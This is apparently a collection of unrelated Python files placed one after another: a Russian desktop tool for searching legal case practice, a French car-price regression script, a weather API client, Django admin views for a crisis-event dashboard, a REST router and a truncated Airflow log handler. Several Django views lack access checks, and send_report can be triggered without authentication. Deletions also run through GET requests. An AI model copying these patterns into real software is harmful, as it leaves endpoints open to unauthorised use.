import sys
#import multiprocessing as mpc
import threading as thrd
import time
from tkinter import filedialog as fd
import pathlib as pthl

from atctds_search_civil import (
    simplegui as smg,
    debugger as dbg,
    iotext as iot,
    cnl_civil as cnl,
    dirutil as dru,
)
from atctds_search_civil.textproc import rwtools
from atctds_search_civil.gsm_wrap import (
    pipeline_bgr, form_output, QueryProcessor
)

MESSAGES = {
    'start_mes': '>>> Здравствуйте! Вы начали новый сеанс!',
    'fm_dir': 'Выбрана папка с файлами: {}',
    'fm_file': 'Выбран файл: {}',
    'fm_error': 'ВНИМАНИЕ! Ошибка в указании пути',
    'fm_save': 'Выбрана папка для сохранения: {}',
    'corpus_proc': '>>> Индексирую корпус документов',
    'corpus_res': 'Корпус обработан. Документов всего: {}',
    'date_sel': 'Дата загрузки в СПС "КонсультантПлюс", начиная с которой будут подобраны судебные акты: {}',
    'date_error': 'Выбранная дата находится за пределами доступного диапазона. Последняя доступная дата: {}',
    'contents_proc': '>>> Загружаю оглавления ПСП',
    'contents_total': 'Всего кирпичей (выводов или позиций) в текущей версии оглавлений ПСП: {}',
    'concls_load': 'Загружено выводов: {}',
    'concls_found': 'Найдено кирпичей (выводов или позиций) в текущей версии оглавлений ПСП: {}',
    'anlz_start': '>>> Обрабатываю корпус документов',
    'anlz_first_step': '>>> Ищу похожие документы',
    'anlz_end': 'Анализ документов закончен, результаты записаны в папку {}',
    'new_session': '>>> Вы начали новый сеанс!',
}

INTERNAL_PATHS = {
    'contents': pthl.Path().home().joinpath(
        'Робот', '_Работа программы', 'Оглавление ПСП'
    ),
    'stpw': pthl.Path().home().joinpath(
        'Робот', '_Работа программы', 'Стоп-слова', 'custom_stpw_wo_objections'
    ),
    'res': pthl.Path().home().joinpath(
        'Робот', '03 Результаты'
    ),
    'icon': lambda: pthl.Path(__file__).parent.joinpath('data/pad_icon2.ico'),
}

LOCK = thrd.Lock()

class MainLogic(smg.MainFrame):
    def __init__(self, parent):
        parent.title('Автоматический добор судебной практики для ПСП')
        parent.iconbitmap(INTERNAL_PATHS['icon']())
        smg.MainFrame.__init__(
            self,
            parent,
            icon_path=INTERNAL_PATHS['icon']()
        )
        self.corpus_iterator = None
        self.concls = None
        self.date = None
        self.max_date = None
        self.paths_to_corpus_and_concls = {key:None for key in ('CD', 'CNL')}
        self.save_res_folder = None
        self.start_widget()
        self.btns = {
            'FB_bca': self.widgets['FileManager'].btn_clean_all,
            'FB_bCD': self.widgets['FileManager'].btn_CD,
            'FB_bcCD': self.widgets['FileManager'].btn_clean_CD,
            'FB_bCNL': self.widgets['FileManager'].btn_CNL,
            'FB_bcCNL': self.widgets['FileManager'].btn_clean_CNL,
            'FB_bS': self.widgets['FileManager'].btn_Save,
            'FB_bcS': self.widgets['FileManager'].btn_clean_Save,
            'LV_bM': self.widgets['ListView'].btn_Manual,
            'LV_bca': self.widgets['ListView'].btn_clean_all,
            'DB_bca': self.widgets['DateBox'].btn_clean_all,
            'CB_bSt': self.widgets['ControlButtons'].btn_Start,
            'CB_bca': self.widgets['ControlButtons'].btn_clean_all,
            'TA_bca': self.widgets['TextArea'].btn_clean_all,
        }
        self.buttons_to_actions()
        self.print_in(MESSAGES['start_mes'])
        self.check_start_button_state()
        self.check_new_session_button_state()

    def print_in(self, text):
        self.widgets['TextArea'].btn_clean_all['state'] = 'normal'
        self.widgets['TextArea'].print_in(dbg.messanger(text))

    def switch_buttons(self, state, *btns):
        if state != 'normal' and state != 'disabled':
            raise ValueError('Incorrect argument: {}'.format(state))
        for btn in btns:
            self.btns[btn]['state'] = state

    def check_start_button_state(self):
        if self.concls and self.corpus_iterator and self.date:
            self.switch_buttons('normal', 'CB_bSt')
        else:
            self.switch_buttons('disabled', 'CB_bSt')
        self.after(100, self.check_start_button_state)

    def check_new_session_button_state(self):
        if (
            self.paths_to_corpus_and_concls['CD']
            or self.paths_to_corpus_and_concls['CNL']
            or self.save_res_folder
        ):
            self.switch_buttons('normal', 'CB_bca')
        else:
            self.switch_buttons('disabled', 'CB_bca')
        self.after(100, self.check_new_session_button_state)

    def fill_in_DateBox_with_actual_years(self):
        min_year = self.corpus_iterator.dates_range[0].year
        self.max_date = self.corpus_iterator.dates_range[1]
        for cmb in (
            self.widgets['DateBox'].cmb_Year,
            self.widgets['DateBox'].cmb_Month
        ):
            cmb['state'] = 'readonly'
        self.widgets['DateBox'].cmb_Year['values'] = [
            str(year) for year in range(min_year, self.max_date.year+1, 1)
        ]

#################Start of subthreads or subprocesses part:
    @dbg.method_speaker_timer('Corpus evaluation!')
    def process_corpus(self, folder_path):
        self.widgets['TextArea'].prog_bar.start()
        with LOCK:
            self.print_in(MESSAGES['corpus_proc'])
        self.widgets['FileManager'].btn_clean_CD['state'] = 'disabled'
        self.widgets['FileManager'].btn_clean_all['state'] = 'disabled'
        self.widgets['FileManager'].btn_CNL['state'] = 'disabled'
        self.widgets['FileManager'].btn_clean_all['state'] = 'disabled'
        self.corpus_iterator = iot.TextInfoCollectorEndDate(folder_path)
        self.corpus_iterator.process_files()
        corp_len = len(self.corpus_iterator)
        with LOCK:
            self.print_in(MESSAGES['corpus_res'].format(corp_len))
        self.widgets['FileManager'].btn_clean_CD['state'] = 'normal'
        self.widgets['FileManager'].btn_clean_all['state'] = 'normal'
        self.widgets['FileManager'].btn_CNL['state'] = 'normal'
        self.widgets['FileManager'].btn_clean_all['state'] = 'normal'
        self.fill_in_DateBox_with_actual_years()
        self.widgets['TextArea'].prog_bar.stop()

    @dbg.method_speaker_timer('Conclusions evaluation!')
    def process_concls(self, file_path):
        self.widgets['TextArea'].prog_bar.start()
        with LOCK:
            self.print_in(MESSAGES['contents_proc'])
        iterable_paths = rwtools.collect_exist_files(
            INTERNAL_PATHS['contents'],
            suffix='.txt'
        )
        cbc = cnl.ContentsBoxCollector(iterable_paths)
        with open(file_path, mode='r') as f:
            raw_text = f.read()
        qc = cnl.QuestCleaner(raw_text)
        with LOCK:
            self.print_in(MESSAGES['contents_total'].format(len(cbc)))
            self.print_in(MESSAGES['concls_load'].format(len(qc)))
        self.concls = list(cnl.join_contents_and_questions(qc, cbc))
        with LOCK:
            self.print_in(MESSAGES['concls_found'].format(len(self.concls)))
        self.widgets['ListView'].l_count_var.set(str(len(self.concls)))
        self.widgets['ListView'].lstb_var.set(self.concls)
        self.widgets['ListView'].btn_clean_all['state'] = 'normal'
        self.widgets['TextArea'].prog_bar.stop()

    @dbg.method_speaker_timer('Gensim pipeline subthread!')
    def start_pipline(self, corpus_iterator, concls, date, save_res_folder):
        self.widgets['TextArea'].prog_bar.start()
        self.switch_buttons('disabled', *self.btns.keys())
        stpw = rwtools.load_pickle(INTERNAL_PATHS['stpw'])
        current_save_folder = dru.create_save_folder(
            save_res_folder, dbg.strftime('%Y-%m-%d %H-%M')
        )
        with LOCK:
            self.print_in(MESSAGES['anlz_first_step'])
        current_corpus_iterator = corpus_iterator.find_docs_after_date(date)
        new_corpus_iterator, dct, dct_tfidf, sim_obj = pipeline_bgr(
            current_corpus_iterator, stpw, 10, 0.925, num_best=15
        )
        for ind, concl in enumerate(concls, start=1):
            holder = []
            print(concl)
            query = QueryProcessor(concl, stpw)
            res = form_output(
                new_corpus_iterator, dct, dct_tfidf, sim_obj, query
            )
            for item in res:
                print('\t\t', *item)
            holder.append(concl)
            holder.extend([item[0] for item in res])
            res_string = '\n'.join(holder)
            file_name = 'Вывод {:0>3d}.txt'.format(ind)
            with open(current_save_folder.joinpath(file_name), mode='w') as f:
                f.write(res_string)
        self.switch_buttons('normal', *self.btns.keys())
        self.widgets['TextArea'].prog_bar.stop()
#################End of subthreads or subprocesses part

    @dbg.method_speaker('Catch FileManager.btn_CD or .btn_CNL press!')
    def filemanager_btn_CD_or_CNL_press(self, widget_var):
        optitons = {
            'CD': (
                self.widgets['FileManager'].cmd_CD,
                self.widgets['FileManager'].l_CD_var.get,
                'fm_dir',
                self.process_corpus
            ),
            'CNL': (
                self.widgets['FileManager'].cmd_CNL,
                self.widgets['FileManager'].l_CNL_var.get,
                'fm_file',
                self.process_concls
            )
        }
        cmd, tk_var_val_get, mes, func = optitons[widget_var]
        cmd()
        path = tk_var_val_get()
        if path:
            self.print_in(MESSAGES[mes].format(path))
            worker = thrd.Thread(
                target=func,
                args=(path,),
                daemon=True
            )
            worker.start()
            self.paths_to_corpus_and_concls[widget_var] = path
        else:
            self.print_in(MESSAGES['fm_error'])

    @dbg.method_speaker('Catch FileManager.btn_Save press!')
    def store_save_path(self):
        self.widgets['FileManager'].cmd_Save()
        save_res_folder = self.widgets['FileManager'].l_Save_var.get()
        if save_res_folder:
            self.print_in(MESSAGES['fm_save'].format(save_res_folder))
            self.save_res_folder = save_res_folder
        else:
            self.print_in(MESSAGES['fm_error'])

#################legacy code starts:
    @dbg.method_speaker('Catch FileManager.btn_CNL press!')
    def index_text_files(self):
        self.widgets['FileManager'].cmd_CD()
        path = self.widgets['FileManager'].l_CD_var.get()
        if path:
            self.print_in(MESSAGES['fm_dir'].format(path))
            worker = thrd.Thread(
                target=self.process_corpus,
                args=(path,),
                daemon=True
            )
            worker.start()
        else:
            self.print_in(MESSAGES['fm_error'].format(path))

    @dbg.method_speaker('Catch FileManager.btn_CNL press!')
    def insert_processed_concls(self):
        self.widgets['FileManager'].cmd_CNL()
        path = self.widgets['FileManager'].l_CNL_var.get()
        if path:
            self.print_in(MESSAGES['fm_file'].format(path))
            worker = thrd.Thread(
                target=self.process_concls,
                args=(path,),
                daemon=True
            )
            worker.start()
        else:
            self.print_in(MESSAGES['fm_error'].format(path))
#################legacy code ends

    @dbg.method_speaker('Catch FileManager.btn_clean_CD or .btn_clean_all press!')
    def clean_DateBox_and_ListView_when_reset_path_to_CD(self, widget_var):
        options = {
            'clean_CD': (lambda: self.widgets['FileManager'].cmd_clean('CD'),),
            'clean_all': (
                self.widgets['FileManager'].cmd_clean_all,
                self.widgets['ListView'].cmd_clean_all
            )
        }
        for func in options[widget_var]:
            func()
        self.widgets['DateBox'].cmd_clean_all()
        self.widgets['DateBox'].cmb_Year['values'] = ''
        for cmb in (
            self.widgets['DateBox'].cmb_Year,
            self.widgets['DateBox'].cmb_Month,
            self.widgets['DateBox'].cmb_Day,
            self.widgets['DateBox'].btn_clean_all
        ):
            cmb['state'] = 'disabled'

    @dbg.method_speaker('Catch TextArea.btn_clean_all press!')
    def clean_TextArea(self):
        self.widgets['TextArea'].cmd_clean_all()
        self.widgets['TextArea'].btn_clean_all['state'] = 'disabled'

    @dbg.method_speaker('Catch ListView.btn_clean_all press!')
    def clean_ListView_and_FileManager_CNL(self):
        self.widgets['ListView'].cmd_clean_all()
        self.widgets['FileManager'].cmd_clean('CNL')
        self.concls = None

    @dbg.method_speaker('Catch DateBox cmb_Day selection!')
    def retrieve_date(self):
        self.widgets['DateBox'].process_day(None) #None is a filler for tk.event argument holder in datebox.py DateBox method
        date = self.widgets['DateBox'].extract_internal_data()
        if date > self.max_date:
            self.print_in(MESSAGES['date_error'].format(self.max_date))
            return None
        self.print_in(MESSAGES['date_sel'].format(date))
        self.date = date

    @dbg.method_speaker('Catch ControlButtons.btn_Start press!')
    def start_analyzis(self):
        self.print_in(MESSAGES['anlz_start'])
        corpus_iterator = self.corpus_iterator
        concls = self.concls
        date = self.date
        save_res_folder = self.save_res_folder
        self.corpus_iterator = None
        self.concls = None
        self.date = None
        worker = thrd.Thread(
            target=self.start_pipline,
            args=(corpus_iterator, concls, date, save_res_folder),
            daemon=True
        )
        worker.start()

    @dbg.method_speaker('Catch ControlButtons.btn_clean_all press!')
    def clean_everything(self):
        self.clean_DateBox_and_ListView_when_reset_path_to_CD('clean_all')
        self.widgets['TextArea'].cmd_clean_all()
        self.widgets['ControlButtons'].cmd_clean_all()
        self.corpus_iterator = None
        self.concls = None
        self.date = None
        self.paths_to_corpus_and_concls = {key:None for key in ('CD', 'CNL')}
        self.save_res_folder = None
        self.print_in(MESSAGES['new_session'])

    @dbg.method_speaker('Catch ListView.manual_interface.btn_OK press!')
    def get_concl_from_manual_input(self):
        if not self.concls:
            self.concls = []
        concl = self.widgets['ListView'].manual_interface.res_var.get()
        concl = concl.split(
            self.widgets['ListView'].sep
        )
        concl = cnl.cleaner_for_manually_entered_query(concl)
        if concl:
            self.concls.append(concl)
            self.widgets['ListView'].btn_clean_all['state'] = 'normal'
            self.widgets['FileManager'].btn_CNL['state'] = 'disabled'
        self.widgets['ListView'].l_count_var.set(str(len(self.concls)))
        self.widgets['ListView'].lstb_var.set(self.concls)

    @dbg.method_speaker('Catch ListView.btn_Manual press!')
    def insert_manually(self):
        self.widgets['ListView'].cmd_insert_manually(solo_mode=False)
        self.widgets['ListView'].manual_interface.btn_OK['command'] = (
            self.get_concl_from_manual_input
        )
        self.widgets['ListView'].manual_interface.grid(
            column=0, row=0, sticky='nswe'
        )

    @dbg.method_speaker('Changing buttons-to-actions mapping!')
    def buttons_to_actions(self):
        self.widgets['FileManager'].btn_CD['command'] = (
            lambda: self.filemanager_btn_CD_or_CNL_press('CD')
        )
        self.widgets['FileManager'].btn_CNL['command'] = (
            lambda: self.filemanager_btn_CD_or_CNL_press('CNL')
        )
        self.widgets['FileManager'].btn_Save['command'] = (
            self.store_save_path
        )
        self.widgets['FileManager'].btn_clean_CD['command'] = (
            lambda: (
                self.clean_DateBox_and_ListView_when_reset_path_to_CD(
                    'clean_CD'
                )
            )
        )
        self.widgets['FileManager'].btn_clean_CNL['command'] = (
            self.clean_ListView_and_FileManager_CNL
        )
        self.widgets['FileManager'].btn_clean_all['command'] = (
            lambda: (
                self.clean_DateBox_and_ListView_when_reset_path_to_CD(
                    'clean_all'
                )
            )
        )
        self.widgets['TextArea'].btn_clean_all['command'] = (
            self.clean_TextArea
        )
        self.widgets['DateBox'].cmb_Day.bind(
            '<<ComboboxSelected>>',
            lambda x: self.retrieve_date()
        )
        self.widgets['ListView'].btn_clean_all['command'] = (
            self.clean_ListView_and_FileManager_CNL
        )
        self.widgets['ControlButtons'].btn_Start['command'] = (
            self.start_analyzis
        )
        self.widgets['ControlButtons'].btn_clean_all['command'] = (
            self.clean_everything
        )
        self.widgets['ListView'].btn_Manual['command'] = (
            self.insert_manually
        )

if __name__ == '__main__':
    mode = sys.argv[1]
    ml = MainLogic(smg.tk.Tk())
    if mode == '-n':
        ml.start_widget_solo()
    elif mode == '-e':
        print('Experimental mode')
        ml.start_widget_solo()
    else:
        raise NotImplementedError('Mode {} not implemented yet!'.format(mode))


import pandas as pd
import matplotlib.pyplot as plt
import seaborn as sns
from sklearn.model_selection import train_test_split
from sklearn.linear_model import LinearRegression
from sklearn.metrics import  r2_score
from sklearn import metrics
from sklearn.metrics import confusion_matrix
import numpy as np

#Load the data
df = pd.read_csv("dataset.csv")
#1)Preparation et nettoyage des données
#eliminer la variable car_id parceque c'est pas nécessaire
df = df.drop(columns="car_ID")
#Avoir une idée sur la dataset
df.head()
#Separer et nettoyer la colonne CarName
Carcompany,Carmodel,a,b = [],[],"",""
for x in df["CarName"]:
	if len(x.split(" ",1))==1:
		a = x
		b = ""
	else:
		a,b = x.split(" ",1)
	Carcompany.append(a)
	Carmodel.append(b)
df["Carcompany"]=Carcompany
df["Carmodel"]=Carmodel
df["Carcompany"].value_counts()
[df.count()-205]
df = df.replace(to_replace =["vokswagen","vw"], value ="volkswagen" )
df = df.replace(to_replace ="Nissan" , value ="nissan" )
df = df.replace(to_replace = "toyouta", value ="toyota" )
df = df.replace(to_replace = "porcshce", value = "porsche")
df = df.reindex(columns=["symboling", "CarName","Carcompany","Carmodel", "fueltype", "aspiration", "doornumber", "carbody","drivewheel", "enginelocation", "wheelbase", "carlength", "carwidth","carheight", "curbweight", "enginetype", "cylindernumber", "enginesize", "fuelsystem", "boreratio", "stroke", "compressionratio", "horsepower", "peakrpm", "citympg", "highwaympg","price","price_categorie"])
df = df.replace(to_replace ="4wd" , value ="rwd" )
#Creer une nouvelle variable de prix pour mieux visualiser les données Aprés
r = []
for x in df["price"]:
	if x >18000:
		r.append("cher")
	elif x<18000 and x>10000:
		r.append("moyen")
	elif x<10000:
		r.append("abordable")
df["price_categorie"] = r
#Avoir une idée sur la statistique descriptive des variables numériques
numerical_all = ["wheelbase","carlength","carwidth","carheight","curbweight","enginesize","boreratio","stroke", "compressionratio", "horsepower", "peakrpm", "citympg", "highwaympg","price"]
df[numerical_all].describe()

#Visualisation de la matrice de correlation
cor = df[numerical_all].corr()
sns.heatmap(cor,xticklabels=cor.columns,yticklabels=cor.columns,annot = True)

#Visualization of some variables correlated with the price
numerical = ["carlength","carwidth","enginesize","horsepower","curbweight","price"]
df[numerical].hist(bins=15, figsize=(15, 6), layout=(3, 3))
sns.pairplot(df[numerical])
sns.distplot(df["price"])

#Get the summary of categorical variable

#Countplot
categorical = ["Carcompany","aspiration","drivewheel","carbody","fueltype","doornumber","enginetype","cylindernumber","fuelsystem"]
fig, ax = plt.subplots(3,3, figsize=(20, 10))
for variable, subplot in zip(categorical, ax.flatten()):
    sns.countplot(df[variable], ax=subplot)
    for label in subplot.get_xticklabels():
        label.set_rotation(90)
fig.subplots_adjust(left=0.2, wspace=0.4, hspace = 0.6)

#Create a pivot_table
def PV(x):
	d = df.pivot_table(values='price',index=[x],columns=['price_categorie'],aggfunc =lambda x: len(x.unique()))
	return d.reindex(columns=["abordable","moyen","cher"])

#Visualize the pivot_table
fig, ax = plt.subplots(3, 3, figsize=(20, 10))
for variable, subplot in zip(categorical, ax.flatten()):
    PV(variable).plot(kind="bar", ax=subplot,legend=None)
    for label in subplot.get_xticklabels():
        label.set_rotation(90)
fig.subplots_adjust(left=0.2, wspace=0.4, hspace = 0.6)

asp = PV('cylindernumber')
#fig.savefig('pivot_table')
symboling,aspiration,drivewheel,carbody,fueltype,doornumber,enginetype,cylindernumber,fuelsystem =[PV(x) for x in categorical]

#2)Create the model:
#fonction pour construire un modele de regression
def regression(X,Y,title,xlabel,ylabel="prix"):
	X_train, X_test, y_train, y_test = train_test_split(X, Y, test_size = 0.20, random_state = 0)
	r = LinearRegression()
	r.fit(X_train, y_train)
	y_pred = r.predict(X_test)
	print('R2 score: %.2f' % r2_score(y_test,y_pred))
	plt.scatter(X_test, y_test, color = 'red')
	plt.plot(X_train, r.predict(X_train), color = 'blue')
	plt.xlabel(xlabel)
	plt.ylabel(ylabel)
	plt.title(title)
	plt.show()
#1er modele enginesize
x1 = df.iloc[:,[17]].values
y1 = df.iloc[:,26].values
regression(x1,y1,"la variance du prix en fonction de la dimension du vehicule","taille ")

#2eme modele carwidth
x2 = df.iloc[:,[12]].values
regression(x2,y1,"la variance du prix en fonction de la largeur du vehicule","largeur")

#3eme modele carlength
x3 = df.iloc[:,[11]].values
regression(x3,y1,"la variance du prix en fonction de la taille du vehicule","taille ")

#4eme modele horsepower
x4 = df.iloc[:,[22]].values
regression(x4,y1,"la variance du prix en fonction de la puissance du moteur","puissance du moteur")

#5eme modele curbweight
x5 = df.iloc[:,[14]].values
regression(x5,y1,"la variance du prix en fonction du poid à vide du vehicule","taille ")

#6eme modele
#quelque modification
df["cylindernumber"].value_counts()
df["cylindernumber"] = df["cylindernumber"].replace(["two","three"],"four")
df["cylindernumber"] = df["cylindernumber"].replace("twelve","eight")
df["drivewheel"].value_counts()
PV("cylindernumber").plot(kind="bar")

x6 =  pd.get_dummies(df["cylindernumber"])
x6 = x6.drop(columns="eight")
X_train, X_test, y_train, y_test = train_test_split(x6, y1, test_size = 0.20, random_state = 0)
r = LinearRegression()
r.fit(X_train, y_train)
y_pred = r.predict(X_test)
print('R2 score: %.2f' % r2_score(y_test,y_pred))

df.isnull().sum()

from sklearn.ensemble import RandomForestClassifier

df["cylindernumber"] = df["cylindernumber"].replace({"four":0,"five":1,"six":2,"eight":3},regex=True)
df["aspiration"] = df["aspiration"].replace({"std":0,"turbo":1})
df["drivewheel"] = df["drivewheel"].replace({"rwd":0,"fwd":1})
feature_cols = ["cylindernumber","aspiration","drivewheel"]
X = df[feature_cols]
Y = df["price_categorie"]

X_train, X_test, y_train, y_test = train_test_split(X, Y, test_size=0.3, random_state=1)
clf=RandomForestClassifier(n_estimators=30)
clf.fit(X_train,y_train)
y_pred=clf.predict(X_test)
print("Accuracy:",metrics.accuracy_score(y_test, y_pred))
feature_imp = pd.Series(clf.feature_importances_,index=feature_cols).sort_values(ascending=False)
sns.barplot(x=feature_imp, y=feature_imp.index)

print(clf.predict([[3,1,0]])[0])

cm = confusion_matrix(y_test, y_pred)

def vis_confusion_matrix(cm):
     # name  of classes
    class_names=[0,1,2]
    fig, ax = plt.subplots()
    tick_marks = np.arange(len(class_names))
    plt.xticks(tick_marks, class_names)
    plt.yticks(tick_marks, class_names)
    # create heatmap
    sns.heatmap(pd.DataFrame(cm), annot=True, cmap="YlGnBu" ,fmt='g')
    ax.xaxis.set_label_position("top")
    plt.tight_layout()
    plt.title('Confusion matrix', y=1.1)
    plt.ylabel('Actual label')
    plt.xlabel('Predicted label')

vis_confusion_matrix(cm)

ax= plt.subplot()
sns.heatmap(cm, annot=True, ax = ax,cmap="Blues")

3)Price of car prediction/Preprocess_the_data.py


# -*- encoding: utf-8 -*-
from __future__ import unicode_literals, division, print_function
import os
import requests
from fmi.observation import Observation
from bs4 import BeautifulSoup

class FMI(object):
    apikey = None
    api_endpoint = 'http://data.fmi.fi/fmi-apikey/{apikey}/wfs'

    def __init__(self, apikey=None, place=None):
        self.apikey = os.environ.get('FMI_APIKEY', apikey)
        self.place = os.environ.get('FMI_PLACE', place)
        if self.apikey is None:
            raise AttributeError('FMI API key is not set.')
        if self.place is None:
            raise AttributeError('FMI place is not set.')

    def _parse_identifier(self, x):
        identifier = x['gml:id'].split('-')[-1].lower()
        if identifier in ['t2m', 'temperature']:
            return 'temperature', 1
        if identifier in ['ws_10min', 'windspeedms']:
            return 'wind_speed', 1
        if identifier in ['wg_10min', 'windgust']:
            return 'wind_gust', 1
        if identifier in ['wd_10min', 'winddirection']:
            return 'wind_direction', 1
        if identifier in ['r_1h', 'precipitation1h']:
            return 'precipitation_1h', 1
        if identifier in ['ri_10min', 'precipitationamount']:
            return 'precipitation', 1
        if identifier in ['rh', 'humidity']:
            return 'relative_humidity', 1
        if identifier in ['n_man', 'totalcloudcover']:
            return 'cloud_coverage', 12.5 if identifier == 'n_man' else 1
        if identifier in ['p_sea', 'pressure']:
            return 'pressure', 1
        if identifier in ['td', 'dewpoint']:
            return 'dew_point', 1
        if identifier in ['weathersymbol3']:
            return 'weather_symbol', 1
        return None, 1

    def _parse_response(self, r):
        bs = BeautifulSoup(r.text)

        d = {}
        # Loop over all measurement timeseries
        for mts in bs.find_all('wml2:measurementtimeseries'):
            # Try to parse identifier as "human readable", get multiplier also (mainly for cloud coverage)
            identifier, multiplier = self._parse_identifier(mts)
            if identifier is None:
                continue

            # Loop through all the measurement points
            for p in mts.find_all('wml2:point'):
                # Find timestamp
                timestamp = p.find('wml2:time').text
                # Find value and multiply if by multiplier given in _parse_identifier()
                value = float(p.find('wml2:value').text) * multiplier

                # If timestamp isn't already initialized, initialize as dictionary
                if timestamp not in d.keys():
                    d[timestamp] = {}

                d[timestamp][identifier] = value

        return sorted([Observation(k, v) for k, v in d.items()], key=lambda x: x.time)

    def get(self, storedquery_id, **params):
        query_params = {
            'place': self.place,
            'request': 'getFeature',
            'storedquery_id': storedquery_id,
        }
        query_params.update(params)

        return self._parse_response(requests.get(self.api_endpoint.format(apikey=self.apikey), params=query_params))

    def observations(self):
        return self.get('fmi::observations::weather::timevaluepair', maxlocations=1)

    def forecast(self):
        return self.get('fmi::forecast::hirlam::surface::point::timevaluepair', maxlocations=1)


"""
    This module acts like an AdminController
"""
from django.http import HttpResponse, JsonResponse, HttpResponseBadRequest, HttpResponseForbidden
from utils.models import TrafficEvent, TerroristEvent, Event, EventTransactionLog, Operator, Singapore, CrisisTransactionLog, Haze
from .tabview import AdminTabViews
from utils.views import render_tab_view, is_operator, is_admin
from utils.districts.districts import DistrictManager, CrisisManager
from utils.dispatchers.pmodispatcher import PMODispatcher
from django.template.defaulttags import register
import json
import requests
from utils.crisiscalculation.calculation import CrisisCalculator
from django.contrib.auth.decorators import login_required

# def healthCheck(request):
#     return HttpResponse('It\'s all good! Admin UI works :)')

def get_transaction_log(request):
    """
        Get the transaction log from the database
    """
    if not is_admin(request.user):
        return HttpResponseForbidden()
    tabs = AdminTabViews()
    tabs.set_active_tab('log')
    event_type_dict = {}
    return render_tab_view(request, tabs, {
        'eventTransactionLog': EventTransactionLog.objects.all(),
        'crisisLogDatabase': CrisisTransactionLog.objects.all(),
    })

@login_required
def get_crisis_view(request):
    """
        Set crisis manager as active tab
    """
    if not is_admin(request.user):
        return HttpResponseForbidden()
    tabs = AdminTabViews()
    tabs.set_active_tab('crisis')
    crises = CrisisCalculator().check_crisis()
    print(crises)
    return render_tab_view(request, tabs, data={'crises': crises})

@register.filter(name='type')
def get_event_type(log):
    """
        Choose an event type as active tab
    """
    if (TrafficEvent.objects.filter(event=log.event).exists() == True):
        return 'Traffic'
    if (TerroristEvent.objects.filter(event=log.event).exists() == True):
        return 'Terrorist'
    return None

@register.filter(name='address')
def get_address_from_lat_long(latlong):
    """
        Take the location address from given lattitude, longitude
    """
    url = "http://maps.googleapis.com/maps/api/geocode/json?latlng=%s,%s&sensor=false" % (
        latlong.y, latlong.x)
    r = requests.get(url)
    result = r.json()
    address = ""
    if (len(result.get('results')) > 0):
        for x in result.get('results')[0].get('address_components'):
            address += x.get('long_name') + ', '
        return address[:-2]
    else:
        return ""

@register.filter(name='tran')
def get_long_transaction_type(log):
    """
        Display the transaction type
    """
    return log.get_transaction_type_display()

@register.filter(name='adminop')
def get_admin_or_operator(log):
    """
        Choose admin or operator as active tab
    """
    if log.operator is not None:
        return log.operator
    if log.admin is not None:
        return log.admin
    return '-'

def get_districts(request):
    """
        Return the districts data
    """
    return JsonResponse(DistrictManager().return_geo_json(), safe=False)

@login_required
def set_crisis(request):
    """
        Set crisis level
    """
    if not is_admin(request.user):
        return HttpResponseForbidden()
    CrisisManager().set_crisis_level(
        request.GET.get('district'), request.GET.get('newcrisis'), None)

    return HttpResponse("Success", content_type="text/plain")

def map_events(request):
    """
        Display events on the map
    """
    if not is_admin(request.user):
        return HttpResponseForbidden()
    tabs = AdminTabViews()
    tabs.set_active_tab('map')
    return render_tab_view(request, tabs, {'haze': Haze.objects.all()})

@login_required
def list_events(request):
    """
        Return a list of events
    """
    if not is_admin(request.user):
        return HttpResponseForbidden()
    tabs = AdminTabViews()
    tabs.set_active_tab('list')
    return render_tab_view(request, tabs, {
        'trafficevents': TrafficEvent.objects.all(),
        'terroristevents': TerroristEvent.objects.all()
    })

@login_required
def delete_event(request):
    """
        Method to delete an event
    """
    if not is_admin(request.user):
        return HttpResponseForbidden()
    if request.method == 'GET':
        event_id = request.GET.get('eventid')
        event_type = request.GET.get('eventtype')
        if (event_type == 'traffic'):
            t = TrafficEvent.objects.get(id=event_id)
            e = Event.objects.get(id=t.event.id)
            e.delete()
        elif (event_type == 'terrorist'):
            t = TerroristEvent.objects.get(id=event_id)
            print(t.event.id)
            e = Event.objects.get(id=t.event.id)
            e.delete()
        return HttpResponse("Success", content_type="text/plain")

# @login_required
# def crisis_calculator(request):
#     """
#         Show suggested crisis
#     """
#     if not is_admin(request.user):
#         return HttpResponseForbidden()
#     tabs = AdminTabViews()
#     tabs.set_active_tab('crisis')
#     crises = CrisisCalculator().check_crisis()
#     print(crises)
#     return render_tab_view(request, tabs, data={'crises': crises})

@login_required
def report_manager(request):
    tabs = AdminTabViews()
    tabs.set_active_tab('reportmanager')
    return render_tab_view(request, tabs)

def send_report(request):
    PMODispatcher().dispatch(False)
    return JsonResponse({'success': True})


from django.urls import path, include
from django.conf.urls import url
from rest_framework import routers
from .views import (
    GlobalViewSet,
    LocalViewSet,
    LocalViewSetAllFilter,
    GlobalViewSetAllFilter,
)
router = routers.DefaultRouter()

router.register('global', GlobalViewSet)
router.register('local', LocalViewSet)

router.register('localAll', LocalViewSetAllFilter)
router.register('globalAll', GlobalViewSetAllFilter)

urlpatterns = [
    path('', include(router.urls)),
]


# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

from google.cloud import bigquery
from google.cloud.exceptions import BadRequest, NotFound, GoogleCloudError
import os
from airflow.utils.log.gcs_task_handler import GCSTaskHandler
from airflow.utils.log.file_task_handler import FileTaskHandler
from airflow import configuration
import subprocess
import traceback
from airflow.contrib.utils.kubernetes_utils import retryable_check_output, namespaced_kubectl

try:
    import ujson as json
except ImportError:
    import json

class BQGCSTaskHandler(GCSTaskHandler):
    """
    BQGCSTaskHandler is a python log handler that handles and reads
    task instance logs. It extends airflow FileTaskHandler and GCSTaskHandler
    uploads to and reads from GCS remote storage. Upon log reading
    failure, it reads from host machine's local disk. The logs will be displayed in
    the airflow UI once retrieved from BigQuery.
    """

    def __init__(self, base_log_folder, gcs_log_folder, filename_template):
        super(BQGCSTaskHandler, self).__init__(base_log_folder, gcs_log_folder, filename_template)

    def get_hostname(self, ti):
        return json.loads(subprocess.check_output(
            namespaced_kubectl() + ["get", "-o", "json", "pod/{}".format(ti.hostname)]
        ))['status']['podIP']

    def _read(self, ti, try_number):
        """
        Read logs of given task instance and try_number from GCS.
        If failed, read the log from BigQuery.

        :param ti: task instance object
        :type ti: airflow.models.TypeInstance
        :param try_number: task instance try_number to read logs from
        :type try_number: int
        """
        # Explicitly getting log relative path is necessary as the given
        # task instance might be different than task instance passed in
        # in set_context method.
